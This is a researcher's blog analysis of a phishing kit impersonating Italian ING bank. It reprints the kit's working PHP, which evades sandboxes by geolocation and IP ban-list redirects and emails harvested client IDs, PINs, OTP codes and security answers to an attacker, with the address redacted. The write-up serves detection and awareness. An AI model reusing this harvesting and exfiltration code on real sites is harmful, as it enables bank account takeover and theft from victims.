Phishing findings, campaign #3: ING bank

I started hunting and reporting phishing websites on Twitter: follow me here if you are interested! In this series of posts I am going to analyze and discuss some of the phishing kits found online.

Let’s start from the beginning

I found this kit while analyzing the phishing sites reported by @illegalfawn. The zip was left exposed in the page, I believe the malicious actor forgot to remove it.

The name of the zip is interesting: POSTEITASLIANE.zip. For non Italians, the name is referring to Poste Italiane, the Italian postal service provider, which also offers financial services and is often target of phishing pages.

Besides having a typo in the name of the service, the kit - surprisingly - is not targeting Poste Italiane, but ING bank.

The phishing page

The phishing page

Exploring the kit

This kit is quite large, as it contains 475 files and 48 directories. Many items are taken directly from the Italian ING webpage, such as images, stylesheet files and JS scripts.

If we check the metadata of the other files, we can see that they were modified on the 4th of March, indicating that this kit is recent:

$ mdls index.php
_kMDItemDisplayNameWithExtensions      = "index.php"
kMDItemContentCreationDate             = 2021-03-04 16:16:56 +0000
kMDItemContentCreationDate_Ranking     = 2021-03-04 00:00:00 +0000
kMDItemContentModificationDate         = 2021-03-04 16:16:56 +0000
kMDItemContentModificationDate_Ranking = 2021-03-04 00:00:00 +0000
kMDItemContentType                     = "public.php-script"

index.php

The entry point of the kit is index.php:

<?php
session_start();
$ip = $_SERVER['REMOTE_ADDR'];
$hash = md5($ip);
$url = "http://www.geoplugin.net/json.gp?ip=$ip";
function url_get_contents($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}
$json = url_get_contents($url);
$json = json_decode($json, true);
$country = $json['geoplugin_countryName'];
# if($country == "Italy" || $country == "United Kingdom" || $country == "Bulgaria")  {

$ban_file = "logs/banlist.txt";
$list = file($ban_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if(in_array($ip, $list)) {
    header("Location: https://www.google.com");
    die();
} else {
    $_SESSION['auth'] = true;
    header("Location: login.php?&sessionid=$hash&securessl=true");
    die();
}
#}
# }
# else  {
# header('Location: https://www.google.com');
# }
?>

Part of the code is commented out, indicating that the developer was testing different approaches.

In the lines above, the kit uses geoplugin.net to detect the country from which the victim is connecting by using the IP address; this technique is quite common for phishing kits. We can see from the comments, that the actor was probably targeting victims from Italy, UK and Bulgaria.

The code is then referring to a file called banlist.txt, which should contains a list of IP addresses to be blocked. If the IP of the visitor of the page is in this list, the page will redirect to Google. banlist.txt is not in the zip file, but we can assume it contains a list of IP addresses of known sandboxes, just like it was done for the LinkedIn kit analyzed in a previous post.

In case the IP address of the victim is not in banlist.txt, the visitor is redirected to login.php with a new session ID, obtained from the md5 hash of the IP address.

login.php

login.php

The victim, by clicking on the link, is presented the page above, saying that the account of the visitor has been disabled temporarily for security reasons. If we click on the button, the message disappears, and we are now presented with a page asking for our client ID, birth date and phone number (you can see a screenshot of this page at the very beginning of this post).

Interestingly, the page presents itself with a paragraph, on the left, where it says that “the codes entered will be doubly protected against phishing and spyware”, because after the visitor enters the login details, “it will be shown information which only ING can have”. Of course, this dialog is copied directly from the original ING login page for Italian customers, which you can see below:

Real ING login page for Italian customers

Real ING login page for Italian customers

Actually, a lot of the code of the page is copied directly from the original ING login page, but - of course - there are some small changes, especially in the forms.

Here is the form from the original ING page:

<form name="aspnetform" method="post" action="./loginsso.aspx" onsubmit="javascript
:return webform_onsubmit();" id="aspnetform" class="vvc_form_enabled">

while this is the one of the kit:

<form name="aspnetForm" method="post" action="pin.php?&sessionid=<?php echo $hash; ?>
&securessl=true" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm"
class="vvc_form_enabled">

The action attribute is different and - again - we see a submission with the parameters sessionid and securessl, with the first still being the hash of the IP address of the visitor. The fields submitted to the form are:

  • Customer code, with input name ctl00\$cphContenuto\$Login ContainerUC1\$LoginStepCifUC1\$txtcc
  • Birth date, with input name ctl00\$cphContenuto\$Login ContainerUC1\$LoginStepCifUC1\$txtgg
  • Phone number, with input name ctl00\$cphContenuto\$Login ContainerUC1\$LoginStepCifUC1\$txt

pin.php

Let’s see how they are used in pin.php:

pin.php

pin.php

This page is asking for an OTP code that the victim should have received via SMS. This means that the actor is - either manually or with an automated agent - performing the login access to ING Bank with the credentials of the victim while the victim is still on the phishing page: otherwise the OTP code would expire and not useful for signing in. If the mechanics seems a bit confusing, don’t worry, I will make a summary of the details of the process before the conclusion of this post!

For now, let’s focus on the code, here is the beginning of the PHP for pin.php:

if(!isset($_SESSION['auth'])) {
   header("Location: http://www.google.com");
   die();
}

$v_ip = $_SERVER['REMOTE_ADDR'];
$hash = md5($v_ip);

In the code above, the page is - once again - redirecting visitors which do not have the auth parameter to Google, to avoid detection.

if(!empty($_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtcc'])) {
    $codclient = $_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtcc'];
    $_SESSION['codclient'] = $codclient;
}

if(!empty($_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtgg'])) {
    $giorno = $_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtgg'];
}

if(!empty($_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtmm'])) {
    $mese = $_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtmm'];
}

if(!empty($_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtaa'])) {
    $anno = $_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txtaa'];
}

This section is taking the parameters sent from login.php and assigning them to variables with Italian names, so far we have assigned data for the customer ID, the day, the month and the year of the specified birth date.

if(!empty($_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txt'])) {
    $telefono = $_POST['ctl00$cphContenuto$LoginContainerUC1$LoginStepCifUC1$txt'];
    require "includes/my_email.php";

    date_default_timezone_set('Europe/London');
    $ip = $_SERVER['REMOTE_ADDR'];
    $time = date("m-d-Y g:i:a");
    $agent = $_SERVER['HTTP_USER_AGENT'];

    $msg = "+ ------------------------------------------+\n";
    $msg .= "+ Dati Login per $username\n";
    $msg .= "+ ------------------------------------------+\n";
    $msg .= "| codcliente: ".$codclient."\n";
    $msg .= "| giorno: ".$giorno."\n";
    $msg .= "| mese: ".$mese."\n";
    $msg .= "| anno: ".$anno."\n";
    $msg .= "| telefono: ".$telefono."\n";
    $footer = "+ ------------------------------------------+\n";
    $footer .= "+ Sent from $v_ip on $time via $agent\n";
    $footer .= "+ ------------------------------------------+\n\n";
    $data = $msg . $footer;
    $_SESSION['login_info'] = $msg;

    $fp = fopen("*********", "a"); // HIDING LOG FILE
    fputs($fp,$data);
    fclose($fp);
    $subject = "Poste Login Info for User: $username";
    $headers = "From: Poste Login Info <$my_email>\r\n";
    $headers .= "Reply-To: Poste Login Info <$my_email>\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/plain; charset=utf-8\r\n";

    mail($my_email,$subject,$data,$headers);
}

After assigning the last bit of information coming from login.php (the phone number) the code is now preparing the email to exfiltrate the data. The kit is taking the exfiltration email from includes/my_email.php and then logging the stolen credentials in a txt file (I am not disclosing the path to prevent malicious actors to re-use the stolen credentials).

Below you can find my_email.php (I have replaced the Gmail address with the asterisks):

<?php
$my_email = "***********@gmail.com"; //////// YOUR EMAIL GOES HERE
?>

The comment “YOUR EMAIL GOES HERE” may suggest that there are two different actors involved in this activity: one is developing the kit, while another malicious actor is using it. This may explain why there are instructions left in comments around the code base.

Here is the content of the txt log file, which contains a sample of the data that the criminal will receive via email:

+ ------------------------------------------+
+ Dati Login per
+ ------------------------------------------+
| codcliente: 1111111
| giorno: 11
| mese: 01
| anno: 1111
| telefono: 111111111111
+ ------------------------------------------+
+ Sent from ::1 on 03-03-2021 10:55:pm via Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
+ ------------------------------------------+

+ ------------------------------------------+
+ Dati Login per
+ ------------------------------------------+
| pin: 1111111
+ ------------------------------------------+
+ Sent from ::1 on 03-03-2021 10:55:pm via Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
+ ------------------------------------------+

+ ------------------------------------------+
+ Dati Login per
+ ------------------------------------------+
| otp: 1111111
+ ------------------------------------------+
+ Sent from ::1 on 03-03-2021 10:55:pm via Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
+ ------------------------------------------+

+ ------------------------------------------+
+ Dati Login per
+ ------------------------------------------+
| domanda1: 1111111
| domanda2: 1111111
| domanda3: 1111111
+ ------------------------------------------+
+ Sent from ::1 on 03-03-2021 10:55:pm via Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
+ ------------------------------------------+

We can also see a User-Agent string exposed in the log above, which may suggest what platform and browser the criminal is using to develop the kit (Chrome 88 on Windows 8).

The big picture

Based on the logs pasted previously, it’s easy to have an idea of how the kit works:

  1. index.php -> check if the IP of the visitor is in a blacklist, if that’s the case, redirect the connection to google.com
  2. login.php -> convince the victim to enter his/her client ID, phone number and birth date for “security reasons” and send them to the attacker via email. As soon as the criminal receives the stolen credentials, he/she will use them to sign in to the real ING e-banking platform.
  3. pin.php -> ask the victim to provide the PIN code for his account and send it via email to the criminal. Now the criminal will use it to continue the signin process to ING bank pretending to be the victim. After that, ING will send an OTP code to the victim’s phone because of the login process initiated by the criminal (which submitted the victim’s phone number).
  4. otp.php -> ask the victim to provide the OTP code he should have received from the bank, and send it via email to the criminal. Now the criminal enters the OTP code and (if the code is not expired) he/she should have access to the victim’s account.
  5. domande.php (it means questions in Italian) -> ask the victim to provide the answers to the security questions and send them via email to the criminal. This combination of questions/answers could be used as a backup mechanism to authenticate to ING.
  6. completa.php -> show a message to the victim says that it will be soon contacted by an operator.

In this process, time has a crucial role, because OTP codes are valid only for some seconds (usually 60), thus the criminal either has an automatic agent to perform the login session with ING when the stolen credentials are received, or he/she will have to perform these actions manually and “live”.

In addition, at every step, the PHP code will store the credentials obtained in the previous step in log file, e.g. the code in pin.php will write the credentials obtained during the execution of login.php.

Below is a schema with the screenshots of the mentioned pages. I didn’t include index.php because it does not have any graphical elements; instead I replaced the first step with a dialog in login.php, which tries to convince the user to enter the security details of his/her account.

Schema of the phishing kit

Schema of the phishing kit

It’s interesting to note that the kit is performing some basic checks for some input fields (such as the birth date of the victim), but, in one of the final steps, it does not even specify which information should be entered in the form, indeed in domande.php we can only see some asterisks before the input field, which - in addition - accepts only numerical data.

Conclusion

In this post, we analyzed a phishing kit targeting Italian customers of ING bank.

A lot of the code-base of the kit was imported from the original ING page without too much caring. Indeed, while inspecting the network connection, we can see that the kit is trying to reach out to the ING private APIs without receiving an answer (probably because the APIs are checking that the request is coming from an authorized source).

The kit tries to access to the Italian ING APIs

The kit tries to access to the Italian ING APIs

The code includes a lot of comments and, in general, it seems that is still a work in progress; as a matter of fact, when it was online, it wasn’t able to lure many victims.

The ING kit shows how some criminals are trying to bypass Multi-Factor Authentication, by sending credentials (including OTP) via email as soon as these are stolen; and, probably in case they are not able to enter the OTP quick enough, they also try to steal the security questions, which are often used as a fallback mechanism to access the account.